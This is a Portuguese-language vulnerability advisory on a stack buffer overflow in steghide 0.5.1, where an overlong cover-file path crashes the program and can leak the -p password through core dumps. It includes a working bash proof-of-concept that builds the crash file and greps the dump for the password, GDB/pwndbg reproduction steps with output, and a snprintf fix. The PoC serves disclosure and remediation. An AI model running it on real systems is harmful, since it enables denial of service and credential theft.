CVE-2026-31024

Relatório de Vulnerabilidade: Estouro de Buffer Baseado em Pilha e Divulgação de Informações no Steghide

Justificativa da Gravidade:
A pontuação de gravidade Média reflete uma exploração local confiável que leva tanto à negação de serviço quanto à divulgação de credenciais sensíveis através de core dumps.

1. Descrição

Uma vulnerabilidade de estouro de buffer baseado em pilha foi identificada no utilitário de linha de comando steghide (versão 0.5.1). A vulnerabilidade é acionada ao passar um caminho de arquivo excessivamente longo para o argumento -cf (arquivo de cobertura).

Embora a aplicação seja compilada com Proteção contra Estouro de Pilha (SSP/Canary), que impede com sucesso a Execução Arbitrária de Código (RCE) imediata ao abortar o processo, este mecanismo defensivo cria uma vulnerabilidade secundária: Divulgação de Informações.

A análise confirma que dados sensíveis em tempo de execução—especificamente a senha passada através do argumento -p—permanecem expostos na memória da pilha no momento da falha. Em sistemas configurados para reter core dumps (comum em desenvolvimento, CI/CD ou servidores de produção mal configurados), esses dados sensíveis são gravados em disco em texto simples, permitindo que atacantes recuperem credenciais.

2. Pré-requisitos do Ataque (Modelo de Ameaça)

Para explorar com sucesso esta vulnerabilidade para Divulgação de Informações, as seguintes condições devem ser atendidas:

• Acesso Local: O atacante deve ter acesso local ao sistema ou a capacidade de passar argumentos para o binário steghide (por exemplo, via um web shell ou script wrapper).

• Core Dumps Habilitados: O ambiente alvo deve estar configurado para gerar core dumps (por exemplo, ulimit -c unlimited ou fs.suid_dumpable=1) e gravá-los em um local acessível pelo atacante.

• Credenciais na Memória: A vítima deve executar o comando usando o argumento -p (senha).

3. Análise Técnica

3.1 Análise da Causa Raiz

A vulnerabilidade existe em src/Embedder.cc. A aplicação falha em verificar os limites do comprimento da string do nome do arquivo antes de formatá-la em um buffer de tamanho fixo usando sprintf.

Trecho de Código Vulnerável:

// src/Embedder.cc
char buf[200]; 
// Uso inseguro de sprintf sem validação de comprimento
sprintf(buf, _("embedding %s in %s..."), embstring.c_str(), cvrstring.c_str());

Se o comprimento combinado das strings exceder 200 bytes, sprintf escreve além do final de buf, corrompendo a pilha.

3.2 Mecanismo de Crash

O binário é compilado com o Stack Protector do GCC.

1. Estouro: A entrada do usuário sobrescreve a pilha, incluindo o "canary".
2. Detecção: Ao retornar da função, o sistema verifica o canary.
3. Terminação: O sistema detecta corrupção, aciona __stack_chk_fail e levanta SIGABRT.

Como __stack_chk_fail invoca abort() imediatamente, a terminação do processo é abrupta. Em sistemas Linux modernos (por exemplo, usando systemd-coredump), essa terminação rápida pode às vezes resultar no descarte ou truncamento do core dump, a menos que o sistema esteja explicitamente configurado para forçar a criação do dump.

4. Prova de Conceito (PoC)

4.1 Script de Reprodução Automatizado

O seguinte script bash configura o ambiente para forçar um core dump físico e extrai a senha.

Pré-requisito: Certifique-se de que ulimit está definido e que o padrão de core está direcionado para um arquivo (requer root para configuração, mas a exploração é executada como usuário).

# Configuração (Execute uma vez como root/sudo para garantir visibilidade):
# echo "core" | sudo tee /proc/sys/kernel/core_pattern

Arquivo: poc.sh

#!/bin/bash
# Steghide 0.5.1 PoC - Estouro de Pilha & Vazamento de Informações
# Uso: ./poc.sh

# 1. Habilita core dumps para esta sessão
ulimit -c unlimited

# 2. Define payload: 250 caracteres 'A' (suficiente para estourar buffer de 200 bytes)
LONG_DIR="crash_test"
LONG_NAME=$(python3 -c "print('A' * 250 + '.wav')")
FULL_PATH="$LONG_DIR/$LONG_NAME"

echo "[*] Criando estrutura de diretórios maliciosa..."
rm -rf "$LONG_DIR" core* 2>/dev/null
mkdir -p "$LONG_DIR"

# 3. Gera arquivo WAV válido (Necessário para contornar verificações de formato iniciais)
python3 -c "
import struct
with open('$FULL_PATH', 'wb') as f:
    # Cabeçalho RIFF + WAVEfmt + Áudio PCM + Chunk de Dados
    # Fornecemos um cabeçalho válido para que a execução atinja a lógica vulnerável em Embedder.cc
    header = b'RIFF' + struct.pack('<I', 50000) + b'WAVEfmt ' + struct.pack('<I', 16)
    header += struct.pack('<HHIIHH', 1, 1, 44100, 44100, 2, 16)
    header += b'data' + struct.pack('<I', 49964)
    f.write(header + b'\x00' * 49964)
"

# 4. Cria segredo fictício
echo "CONFIDENTIAL_DATA" > secret.txt

# 5. Aciona o Crash
# A senha 'MY_SECRET_PASS' será carregada na memória antes do crash
echo "[!] Lançando Steghide..."
steghide embed -cf "$FULL_PATH" -ef secret.txt -p MY_SECRET_PASS

# 6. Verifica Vazamento
echo -e "\n[*] Procurando artefato no core dump..."
CORE_FILE=$(ls core* | head -n 1)

if [ -f "$CORE_FILE" ]; then
    echo "[+] Dump encontrado: $CORE_FILE"
    # Procura pela string da senha dentro do dump binário
    strings "$CORE_FILE" | grep "MY_SECRET_PASS" && echo -e "\n[!!!] CRÍTICO: Senha vazada com sucesso do core dump!"
else
    echo "[-] Nenhum core file encontrado. Verifique 'ulimit -c' ou '/proc/sys/kernel/core_pattern'."
fi

4.2 Análise Dinâmica (GDB)

Verificação manual do estado da memória usando GDB (com extensão Pwndbg).

Passos para Reproduzir:

1. Execute GDB no binário:

gdb --args /usr/bin/steghide embed -cf $(python3 -c "print('A'*200 + '/trigger.wav')") -ef secret.txt -p MY_SECRET_PASS

2. Execute o processo:

pwndbg> run

3. Ao SIGABRT, pesquise na memória pela senha:

pwndbg> search "MY_SECRET_PASS"

Saída Observada:

*** buffer overflow detected ***: terminated
Program received signal SIGABRT

pwndbg> search "MY_SECRET_PASS"
Searching for value: 'MY_SECRET_PASS'
[heap]  0x5555555bb1a8 'MY_SECRET_PASS'
[stack] 0x7fffffffd680 'MY_SECRET_PASS'

Conclusão: A string sensível MY_SECRET_PASS persiste em segmentos de memória Heap e Pilha no momento do crash, confirmando o vetor de Divulgação de Informações.

5. Avaliação de Impacto

• Confidencialidade (Alta):

  • Vazamento Direto: O crash expõe argumentos de linha de comando (senhas) no core dump.
  • Risco de Escalação de Privilégio: Embora core dumps geralmente retenham as permissões do usuário (0600), sistemas mal configurados (usando diretórios globais de dump como /tmp ou umasks inseguras) permitem que usuários com baixos privilégios leiam dumps gerados por usuários com privilégios mais altos (por exemplo, root) ou contas de serviço (por exemplo, www-data), levando ao roubo de credenciais.

• Disponibilidade (Alta):

  • A vulnerabilidade garante um crash confiável da aplicação (DoS), interrompendo serviços automatizados que usam Steghide.

• Integridade (Baixa):

  • A execução de código é atualmente mitigada por SSP/Canaries.

6. Recomendações

1. Correção de Código: Substituir chamadas inseguras de sprintf por snprintf para impor limites de tamanho do buffer.

// Correção Recomendada
snprintf(buf, sizeof(buf), _("embedding %s in %s..."), ...);